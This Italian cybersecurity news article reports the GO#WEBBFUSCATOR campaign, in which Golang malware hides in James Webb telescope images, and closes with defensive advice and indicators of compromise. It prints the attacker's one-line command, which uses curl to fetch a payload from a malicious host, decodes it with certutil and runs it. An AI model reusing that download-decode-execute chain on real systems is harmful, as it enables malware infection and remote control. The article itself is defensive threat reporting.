Steganografia

Malware nascosto nelle immagini del telescopio James Webb: come proteggersi

Scoperto codice malevolo nelle fotografie scattate dal telescopio James Webb, nascosto mediante la tecnica della steganografia. Una nuova esca perfetta per diffondere payload pericolosi. Ecco tutti i dettagli e i consigli per difendersi da questa minaccia

Pubblicato il 31 Ago 2022

Mirella Castigli

Giornalista

Malware immagini telescopio James Webb

Malware nascosto nelle immagini del popolare telescopio James Webb: lo hanno scoperto i ricercatori di Securonix. Sono payload che gli antivirus engine come la piattaforma di VirusTotal non hanno riconosciuto come malevoli, a causa dell’uso della steganografia.

“Questa campagna”, commenta Paolo Passeri, Principal Sales Engineer e Cyber Intelligence Specialist di Netskope, “utilizza un modus operandi consolidato da parte di criminali opportunistici. Usa cioè a fini malevoli eventi di vasto impatto mediatico, tuttavia con alcune interessanti variazioni”. Ecco quali.

Il malware nascosto nelle immagini del telescopio James Webb

Gli analisti lo hanno avvistato come una nuova campagna malware, chiamata GO#WEBBFUSCATOR. Usa come vettori d’infezione e-mail di phishing con documenti malevoli camiffati da immagini spaziali immortalate dal telescopio James Webb: tutto pur di diffondere malware.

“Lo sguardo senza precedenti verso gli angoli remoti dell’universo consentito dal telescopio James Webb”, continua Paolo Passeri, “ha popolato per giorni le principali testate giornalistiche di tutto il mondo. Da un lato, questo evento ha fornito un ottimo spunto agli attaccanti per lanciare nuove campagne criminali. Dall’altro lato, la stessa natura delle informazioni scambiate (immagini) ha facilitato ulteriormente il loro compito consentendo di utilizzare una delle più comuni tecniche di evasione, la steganografia che tende proprio a nascondere contenuto malevolo all’interno di immagini”.

La steganografia è “una tecnica comunemente utilizzata per evadere sia i controlli di sicurezza delle soluzioni di protezione del traffico, sia i controlli di sicurezza dell’utente che, in condizioni normali, non si aspetterebbe di essere infettato da un artefatto apparentemente innocuo come un’immagine”, evidenzia Passeri.

I cyber criminali hanno scritto il malware in Golang, un linguaggio di programmazione che sta guadagnando popularità fra il cyber crime perché è cross-platform (Windows, Linux, Mac) e offre crescente resistenza al reverse engineering e alle analisi tecniche.

“Un ulteriore elemento interessante di questa campagna consiste nell’utilizzo di malware scritto in Golang, un linguaggio sempre più popolare tra gli attaccanti sia per la sua natura trasversale a livello di piattaforma che per la sua resistenza a livello di reverse engineering. Questa caratteristica ne rende difficoltose le indagini da parte degli analisti di sicurezza”, mette in guardia Passeri.

Il vettore d’infezione: i dettagli

“GO#WEBBFUSCATOR è un nuovo malware basato sul linguaggio di programmazione Golang, che sfrutta email di phishing, documenti malevoli e immagini spaziali, provenienti dal telescopio James Webb, per infettare il sistema di destinazione”, precisa Mauro Gadaleta, Security Researcher di Exprivia. “Il malware è scritto in Golang in quanto tale linguaggio di programmazione è più resistente alle attività di analisi e decodifica da parte degli analisti”, continua Gadaleta, “rendendo quindi le operazioni di reverse engineering complicate”. “Inoltre tale linguaggio è flessibile per il supporto e la compilazione multipiattaforma e ciò consente agli attaccanti di realizzare malware che possono operare sui molteplici sistemi operativi. L’infezione comincia con una mail di phishing contenente il file Geos-Rates.docx. Il file contiene un riferimento esterno, nascosto all’interno dei metadati del documento, che scarica a sua volta un file dannoso. I malware sfrutta il campo “Target= hxxp://www.xmlschemeformat.com/update/2021/Office/form.dotm”, che cerca di mascherarsi come URL legittimo per estrarre il file form.dotm”, sottolinea l’esperto. “Una volta che il documento è aperto, il file dannoso è scaricato nel sistema. Tale file contiene un VBScript che avvierà la prima fase di esecuzione dell’attacco una volta che la vittima abilita le macro. Quindi lo script scaricherà sul sistema target una immagine JPG (“OxB36F8GEEC634.jpg”). Tale immagine, apparentemente innocua, contiene al suo interno codice malevolo in base64, mascherato da un certificato. Utilizzando “certutil.exe” l’attaccante decodifica il codice in base64 nascosto all’interno dell’immagine, lo memorizza nell’eseguibile “msdllupdate.exe” che, infine, esegue l’attacco. Questo viene fatto eseguendo sul terminale il comando: cmd.exe /c cd c:userstestappdatalocal & curl hxxp://www[.] xmlschemeformat.com/update/2021/office/oxb36f8geec634.jpg -o oxb36f8geec634.jpg & certutil -decode oxb36f8geec634.jpg msdllupdate.exe & msdllupdate.exe Una volta eseguito l’attacco il malware cerca di mantenere la persistenza copiandosi in “%%localappdata%%microsoftvault” e aggiungendo una nuova chiave di registro. A questo punto il malware stabilisce una comunicazione DNS con il Command&Control Server (C2), inviandogli query crittografate. Tuttavia, sul server C2 i messaggi possono essere letti e non sono cifrati; pertanto per ovviare al problema in GO#WEBBFUSCATOR, la comunicazione con il server C2 è implementata utilizzando richieste `TXT-DNS` con richieste `nslookup` al Name Server controllato dall’attaccante. Tutte le informazioni sono poi codificate con Base64”. “Il C2 può rispondere al malware impostando intervalli di tempo tra le richieste di connessione, modificando il timeout di nslookup o inviando comandi da eseguire tramite lo strumento cmd.exe di Windows. Ecco alcuni IoC utili per riconoscere il malware, classificati in Network Indicators e Host-Based Indicators: Network Identifiers:

  • xmlschemeformat.com updatesagent.com
  • apiregis.com 185.247.209.255 139.28.36.222

Host-Based Identifiers:

  • %LOCALAPPDATA%microsoftvaultMsdllupdate.exe 
  • %LOCALAPPDATA%microsoftvaultUpdate.bat
  • %LOCALAPPDATA%microsoftwindowsMsSafetyMsdllupdate.exe
  • %LOCALAPPDATA%microsoftvaultMsDb.db
  • da43ec30fe12c45529e51a0c986a856aa8772483875356f29382ac514788f86d (SHA256 del file Geos-Rates.docx)
  • 383136adaf956f1fab03de8c1064f7b9119b5b656bedda7ce3137bebbb2a920f (SHA256 del file form.dotm)
  • 3bdf6d9f0f35be75d8345d897ec838ae231ba01ae898f6d0c8f920ff4061fc22 (SHA256 del file OxB36F8GEEC634.jpg)
  • d09af37cdbae7273e4e7c79b242023ffdb07c8ccab2280db7fe511d2b14ad19c (SHA256 del file msdllupdate.exe
  • 07e3b96ed26b5af3dbf421e1ce4fb1f815350eaa80168d8617c070aea857be66
  • a60f4ec6229a572ce9898d3b80328552806961f195eedf02b6bc6bc2c1648aa0
  • 0c038e561799092c885beecd239ff06175f1496034a38049997518ce941dc79e
  • 255c974b388cdfa83fc869ce6541f23169361a9dfb5a8cea677f026fefed6dc0
  • a8e658ea1f8a57a7804c7054466879b48daebb461ef8e8866537b6fc6bf3750f”, conclude Gadaleta.

“Al momento dell’esecuzione”, mette in guardia Gianluca Porcelli, Security Researcher di Exprivia, “il malware stabilisce una connessione DNS ad un server di command and control (C&C). A seguito dei primi test effettuati, la comunicazione con il server C2 è implementata utilizzando richieste ‘TXT-DNS’ e nello specifico richieste ‘nslookup’ controllato dall’attaccante. Come tutti gli attacchi di questo tipo, i server di C&C a seguito di infezione di un computer, possono controllarlo in remoto tutto all’insaputa dell’utilizzatore del dispositivo. Da sottolineare il fatto che essendo una modalità di attacco persistente, anche a seguito di riavvio del PC, gli attaccanti avranno pieno controllo del dispositivo compromesso”.

Digital trust: concetto in crisi

“La nota più preoccupante di questa minaccia”, concludeGianluca Porcelli, “è che attualmente solo pochi sistemi di scansione malware sono in grado di identificare questa tipologia di minaccia”.

“Questa campagna”, sottolinea Passeri, “ripropone ancora una volta il rischio insito nel concetto di digital trust e le sue implicazioni nell’ambito della sicurezza”.

“Gli eventi degli ultimi anni, i continui lockdown e la conseguente crescita del lavoro remoto, hanno cambiato il concetto di fiducia degli utenti, che pongono ormai maggiore affidamento nelle interazioni digitali piuttosto che in quelle umane”, continua Passeri. “Tutto questo ha finito con l’abbassare il naturale livello di guardia dei cittadini digitali che reputano affidabile qualsiasi contenuto proveniente da internet (motori di ricerca o applicazioni cloud lecite) e non sono più abituati a controllare approfonditamente l’origine delle informazioni”.

Come proteggersi

Per difendesri è necessario avere maggiore consapevolezza dei rischi.

“Una superficie di attacco vasta è un’opportunità troppo ghiotta che i criminali non hanno tardato a monetizzare. Infatti, non è un caso che tecniche di SEO poisoning (ovvero l’utilizzo di algoritmi di Search Engine Optimization per posizionare link malevoli in cima ai risultati dei motori di ricerca) siano tornate in auge per la distribuzione di malware e altro contenuto malevolo. Il desiderio di ammirare le immagini meravigliose del telescopio Webb è certamente comprensibile, scaricarle dal primo link, lo è un po’ meno“, sottolinea Passeri.

Inoltre, bisogna sempre scaricare materiali da siti ufficiali e limitare la superficie di attacco, per evitare il download di codice malevolo: “Ribadire l’importanza del controllo approfondito della fonte di documenti e link, è di fondamentale importanza nello scenario di rischio attuale”, conclude Passeri.

Siti di brand noti e affidabili sono più sicuri di siti non sicuri, anche se, nell’era degli attacchi alle supply chain, non sempre garantiscono la sicurezza totale.

Infine, in caso di un eventuale attacco phishing sospetto bisogna evitare di rispondere, cliccare sui link e aprire gli allegati e cancellarla. Se è possibile, è meglio segnalare al team IT o di sicurezza il tentativo di truffa via posta elettronica.

Valuta la qualità di questo articolo

La tua opinione è importante per noi!

Speciale PNRR

Tutti
Incentivi
Salute digitale
Formazione
Analisi
Sostenibilità
PA
Sostemibilità
Sicurezza
Digital Economy
CODICE STARTUP
Imprenditoria femminile: come attingere ai fondi per le donne che fanno impresa
DECRETI
PNRR e Fascicolo Sanitario Elettronico: investimenti per oltre 600 milioni
IL DOCUMENTO
Competenze digitali, ecco il nuovo piano operativo nazionale
STRUMENTI
Da Istat e RGS gli indicatori per misurare la sostenibilità nel PNRR
STRATEGIE
PNRR – Piano nazionale di Ripresa e Resilienza: cos’è e novità
FONDI
Pnrr, ok della Ue alla seconda rata da 21 miliardi: focus su 5G e banda ultralarga
GREEN ENERGY
Energia pulita: Banca Sella finanzia i progetti green incentivati dal PNRR
TECNOLOGIA SOLIDALE
Due buone notizie digitali: 500 milioni per gli ITS e l’inizio dell’intranet veloce in scuole e ospedali
INNOVAZIONE
Competenze digitali e InPA cruciali per raggiungere gli obiettivi del Pnrr
STRATEGIE
PA digitale 2026, come gestire i fondi PNRR in 5 fasi: ecco la proposta
ANALISI
Value-based healthcare: le esperienze in Italia e il ruolo del PNRR
Strategie
Accordi per l’innovazione, per le imprese altri 250 milioni
Strategie
PNRR, opportunità e sfide per le smart city
Strategie
Brevetti, il Mise mette sul piatto 8,5 milioni
Strategie
PNRR e opere pubbliche, la grande sfida per i Comuni e perché bisogna pensare digitale
Formazione
Trasferimento tecnologico, il Mise mette sul piatto 7,5 milioni
Strategie
PSN e Strategia Cloud Italia: a che punto siamo e come supportare la PA in questo percorso
Dispersione idrica
Siccità: AI e analisi dei dati possono ridurre gli sprechi d’acqua. Ecco gli interventi necessari
PNRR
Cloud, firmato il contratto per l’avvio di lavori del Polo strategico
Formazione
Competenze digitali, stanziati 48 milioni per gli Istituti tecnologici superiori
Iniziative
Digitalizzazione delle reti idriche: oltre 600 milioni per 21 progetti
Competenze e competitività
PNRR, così i fondi UE possono rilanciare la ricerca e l’Università
Finanziamenti
PNRR, si sbloccano i fondi per l’agrisolare
Sanità post-pandemica
PNRR, Missione Salute: a che punto siamo e cosa resta da fare
Strategie
Sovranità e autonomia tecnologica nazionale: come avviare un processo virtuoso e sostenibile
La relazione
Pnrr e PA digitale, l’alert della Corte dei conti su execution e capacità di spesa
L'editoriale
Elezioni 2022, la sfida digitale ai margini del dibattito politico
Strategie
Digitale, il monito di I-Com: “Senza riforme Pnrr inefficace”
Transizione digitale
Pnrr: arrivano 321 milioni per cloud dei Comuni, spazio e mobilità innovativa
L'analisi I-COM
Il PNRR alla prova delle elezioni: come usare bene le risorse e centrare gli obiettivi digitali
Cineca
Quantum computing, una svolta per la ricerca: lo scenario europeo e i progetti in corso
L'indice europeo
Desi, l’Italia scala due posizioni grazie a fibra e 5G. Ma è (ancora) allarme competenze
L'approfondimento
PNRR 2, ecco tutte le misure per cittadini e imprese: portale sommerso, codice crisi d’impresa e sismabonus, cosa cambia
Servizi digitali
PNRR e trasformazione digitale: ecco gli investimenti e le riforme previste per la digitalizzazione della PA
Legal health
Lo spazio europeo dei dati sanitari: come circoleranno le informazioni sulla salute nell’Unione Europea
Servizi digitali
PNRR e PA digitale: non dimentichiamo la dematerializzazione
Digital Healthcare transformation
La trasformazione digitale degli ospedali
Governance digitale
PA digitale, è la volta buona? Così misure e risorse del PNRR possono fare la differenza
Servizi digitali
Comuni e digitale, come usare il PNRR senza sbagliare
La survey
Pnrr e digitale accoppiata vincente per il 70% delle pmi italiane
Missione salute
Fascicolo Sanitario Elettronico alla prova del PNRR: limiti, rischi e opportunità
Servizi pubblici
PNRR: come diventeranno i siti dei comuni italiani grazie alle nuove risorse
Skill gap
PNRR, la banda ultra larga crea 20.000 nuovi posti di lavoro
Il Piano
Spazio, Colao fa il punto sul Pnrr: i progetti verso la milestone 2023
FORUMPA2022
PNRR e trasformazione digitale: rivedi i Talk di FORUM PA 2022 in collaborazione con le aziende partner
I contratti
Avio, 340 milioni dal Pnrr per i nuovi propulsori a metano
Next Generation EU
PNRR, a che punto siamo e cosa possono aspettarsi le aziende private
Fondi
Operativo il nuovo portale del MISE con tutti i finanziamenti per le imprese
Servizi comunali
Il PNRR occasione unica per i Comuni digitali: strumenti e risorse per enti e cittadini
Healthcare data platform
PNRR dalla teoria alla pratica: tecnologie e soluzioni per l’innovazione in Sanità
Skill
Competenze digitali, partono le Reti di facilitazione
Gli obiettivi
Scuola 4.0, PNRR ultima chance: ecco come cambierà il sistema formativo
Sistema Paese
PNRR 2, è il turno della space economy
FORUM PA 2022
FORUM PA 2022: la maturità digitale dei comuni italiani rispetto al PNRR
Analisi
PNRR: dalla Ricerca all’impresa, una sfida da cogliere insieme
Innovazione
Pnrr, il Dipartimento per la Trasformazione digitale si riorganizza
FORUM PA 2022
PA verde e sostenibile: il ruolo di PNRR, PNIEC, energy management e green public procurement
Analisi
PNRR, Comuni e digitalizzazione: tutto su fondi e opportunità, in meno di 3 minuti. Guarda il video!
Rapporti
Competenze digitali e servizi automatizzati pilastri del piano Inps
Analisi
Attuazione del PNRR: il dialogo necessario tra istituzioni e società civile. Rivedi lo Scenario di FORUM PA 2022
Progetti
Pnrr, fondi per il Politecnico di Torino. Fra i progetti anche IS4Aerospace
Analisi
PNRR, Colao fa il punto sulla transizione digitale dell’Italia: «In linea con tutte le scadenze»
La Svolta
Ict, Istat “riclassifica” i professionisti. Via anche al catalogo dati sul Pnrr
Analisi
Spazio, Colao fa il punto sul Pnrr: i progetti verso la milestone 2023
FORUM PA 2022
Ecosistema territoriale sostenibile: l’Emilia Romagna tra FESR e PNRR
Il Piano
Innovazione, il Mise “centra” gli obiettivi Pnrr: attivati 17,5 miliardi
Analisi
PNRR: raggiunti gli obiettivi per il primo semestre 2022. Il punto e qualche riflessione
Analisi
PNRR: dal dialogo tra PA e società civile passa il corretto monitoraggio dei risultati, tra collaborazione e identità dei luoghi
Webinar
Comuni e PNRR: un focus sui bandi attivi o in pubblicazione
Analisi
Formazione 4.0: cos’è e come funziona il credito d’imposta
PA e Sicurezza
PA e sicurezza informatica: il ruolo dei territori di fronte alle sfide della digitalizzazione
PA e sicurezza
PNRR e servizi pubblici digitali: sfide e opportunità per Comuni e Città metropolitane
Water management
Water management in Italia: verso una transizione “smart” e “circular” 
LE RISORSE
Transizione digitale, Simest apre i fondi Pnrr alle medie imprese
Prospettive
Turismo, cultura e digital: come spendere bene le risorse del PNRR
Analisi
Smart City: quale contributo alla transizione ecologica
Decarbonizzazione
Idrogeno verde, 450 milioni € di investimenti PNRR, Cingolani firma
Unioncamere
PNRR, imprese in ritardo: ecco come le Camere di commercio possono aiutare
I fondi
Industria 4.0: solo un’impresa su tre pronta a salire sul treno Pnrr
CODICE STARTUP
Imprenditoria femminile: come attingere ai fondi per le donne che fanno impresa
DECRETI
PNRR e Fascicolo Sanitario Elettronico: investimenti per oltre 600 milioni
IL DOCUMENTO
Competenze digitali, ecco il nuovo piano operativo nazionale
STRUMENTI
Da Istat e RGS gli indicatori per misurare la sostenibilità nel PNRR
STRATEGIE
PNRR – Piano nazionale di Ripresa e Resilienza: cos’è e novità
FONDI
Pnrr, ok della Ue alla seconda rata da 21 miliardi: focus su 5G e banda ultralarga
GREEN ENERGY
Energia pulita: Banca Sella finanzia i progetti green incentivati dal PNRR
TECNOLOGIA SOLIDALE
Due buone notizie digitali: 500 milioni per gli ITS e l’inizio dell’intranet veloce in scuole e ospedali
INNOVAZIONE
Competenze digitali e InPA cruciali per raggiungere gli obiettivi del Pnrr
STRATEGIE
PA digitale 2026, come gestire i fondi PNRR in 5 fasi: ecco la proposta
ANALISI
Value-based healthcare: le esperienze in Italia e il ruolo del PNRR
Strategie
Accordi per l’innovazione, per le imprese altri 250 milioni
Strategie
PNRR, opportunità e sfide per le smart city
Strategie
Brevetti, il Mise mette sul piatto 8,5 milioni
Strategie
PNRR e opere pubbliche, la grande sfida per i Comuni e perché bisogna pensare digitale
Formazione
Trasferimento tecnologico, il Mise mette sul piatto 7,5 milioni
Strategie
PSN e Strategia Cloud Italia: a che punto siamo e come supportare la PA in questo percorso
Dispersione idrica
Siccità: AI e analisi dei dati possono ridurre gli sprechi d’acqua. Ecco gli interventi necessari
PNRR
Cloud, firmato il contratto per l’avvio di lavori del Polo strategico
Formazione
Competenze digitali, stanziati 48 milioni per gli Istituti tecnologici superiori
Iniziative
Digitalizzazione delle reti idriche: oltre 600 milioni per 21 progetti
Competenze e competitività
PNRR, così i fondi UE possono rilanciare la ricerca e l’Università
Finanziamenti
PNRR, si sbloccano i fondi per l’agrisolare
Sanità post-pandemica
PNRR, Missione Salute: a che punto siamo e cosa resta da fare
Strategie
Sovranità e autonomia tecnologica nazionale: come avviare un processo virtuoso e sostenibile
La relazione
Pnrr e PA digitale, l’alert della Corte dei conti su execution e capacità di spesa
L'editoriale
Elezioni 2022, la sfida digitale ai margini del dibattito politico
Strategie
Digitale, il monito di I-Com: “Senza riforme Pnrr inefficace”
Transizione digitale
Pnrr: arrivano 321 milioni per cloud dei Comuni, spazio e mobilità innovativa
L'analisi I-COM
Il PNRR alla prova delle elezioni: come usare bene le risorse e centrare gli obiettivi digitali
Cineca
Quantum computing, una svolta per la ricerca: lo scenario europeo e i progetti in corso
L'indice europeo
Desi, l’Italia scala due posizioni grazie a fibra e 5G. Ma è (ancora) allarme competenze
L'approfondimento
PNRR 2, ecco tutte le misure per cittadini e imprese: portale sommerso, codice crisi d’impresa e sismabonus, cosa cambia
Servizi digitali
PNRR e trasformazione digitale: ecco gli investimenti e le riforme previste per la digitalizzazione della PA
Legal health
Lo spazio europeo dei dati sanitari: come circoleranno le informazioni sulla salute nell’Unione Europea
Servizi digitali
PNRR e PA digitale: non dimentichiamo la dematerializzazione
Digital Healthcare transformation
La trasformazione digitale degli ospedali
Governance digitale
PA digitale, è la volta buona? Così misure e risorse del PNRR possono fare la differenza
Servizi digitali
Comuni e digitale, come usare il PNRR senza sbagliare
La survey
Pnrr e digitale accoppiata vincente per il 70% delle pmi italiane
Missione salute
Fascicolo Sanitario Elettronico alla prova del PNRR: limiti, rischi e opportunità
Servizi pubblici
PNRR: come diventeranno i siti dei comuni italiani grazie alle nuove risorse
Skill gap
PNRR, la banda ultra larga crea 20.000 nuovi posti di lavoro
Il Piano
Spazio, Colao fa il punto sul Pnrr: i progetti verso la milestone 2023
FORUMPA2022
PNRR e trasformazione digitale: rivedi i Talk di FORUM PA 2022 in collaborazione con le aziende partner
I contratti
Avio, 340 milioni dal Pnrr per i nuovi propulsori a metano
Next Generation EU
PNRR, a che punto siamo e cosa possono aspettarsi le aziende private
Fondi
Operativo il nuovo portale del MISE con tutti i finanziamenti per le imprese
Servizi comunali
Il PNRR occasione unica per i Comuni digitali: strumenti e risorse per enti e cittadini
Healthcare data platform
PNRR dalla teoria alla pratica: tecnologie e soluzioni per l’innovazione in Sanità
Skill
Competenze digitali, partono le Reti di facilitazione
Gli obiettivi
Scuola 4.0, PNRR ultima chance: ecco come cambierà il sistema formativo
Sistema Paese
PNRR 2, è il turno della space economy
FORUM PA 2022
FORUM PA 2022: la maturità digitale dei comuni italiani rispetto al PNRR
Analisi
PNRR: dalla Ricerca all’impresa, una sfida da cogliere insieme
Innovazione
Pnrr, il Dipartimento per la Trasformazione digitale si riorganizza
FORUM PA 2022
PA verde e sostenibile: il ruolo di PNRR, PNIEC, energy management e green public procurement
Analisi
PNRR, Comuni e digitalizzazione: tutto su fondi e opportunità, in meno di 3 minuti. Guarda il video!
Rapporti
Competenze digitali e servizi automatizzati pilastri del piano Inps
Analisi
Attuazione del PNRR: il dialogo necessario tra istituzioni e società civile. Rivedi lo Scenario di FORUM PA 2022
Progetti
Pnrr, fondi per il Politecnico di Torino. Fra i progetti anche IS4Aerospace
Analisi
PNRR, Colao fa il punto sulla transizione digitale dell’Italia: «In linea con tutte le scadenze»
La Svolta
Ict, Istat “riclassifica” i professionisti. Via anche al catalogo dati sul Pnrr
Analisi
Spazio, Colao fa il punto sul Pnrr: i progetti verso la milestone 2023
FORUM PA 2022
Ecosistema territoriale sostenibile: l’Emilia Romagna tra FESR e PNRR
Il Piano
Innovazione, il Mise “centra” gli obiettivi Pnrr: attivati 17,5 miliardi
Analisi
PNRR: raggiunti gli obiettivi per il primo semestre 2022. Il punto e qualche riflessione
Analisi
PNRR: dal dialogo tra PA e società civile passa il corretto monitoraggio dei risultati, tra collaborazione e identità dei luoghi
Webinar
Comuni e PNRR: un focus sui bandi attivi o in pubblicazione
Analisi
Formazione 4.0: cos’è e come funziona il credito d’imposta
PA e Sicurezza
PA e sicurezza informatica: il ruolo dei territori di fronte alle sfide della digitalizzazione
PA e sicurezza
PNRR e servizi pubblici digitali: sfide e opportunità per Comuni e Città metropolitane
Water management
Water management in Italia: verso una transizione “smart” e “circular” 
LE RISORSE
Transizione digitale, Simest apre i fondi Pnrr alle medie imprese
Prospettive
Turismo, cultura e digital: come spendere bene le risorse del PNRR
Analisi
Smart City: quale contributo alla transizione ecologica
Decarbonizzazione
Idrogeno verde, 450 milioni € di investimenti PNRR, Cingolani firma
Unioncamere
PNRR, imprese in ritardo: ecco come le Camere di commercio possono aiutare
I fondi
Industria 4.0: solo un’impresa su tre pronta a salire sul treno Pnrr

Articoli correlati

Articolo 1 di 5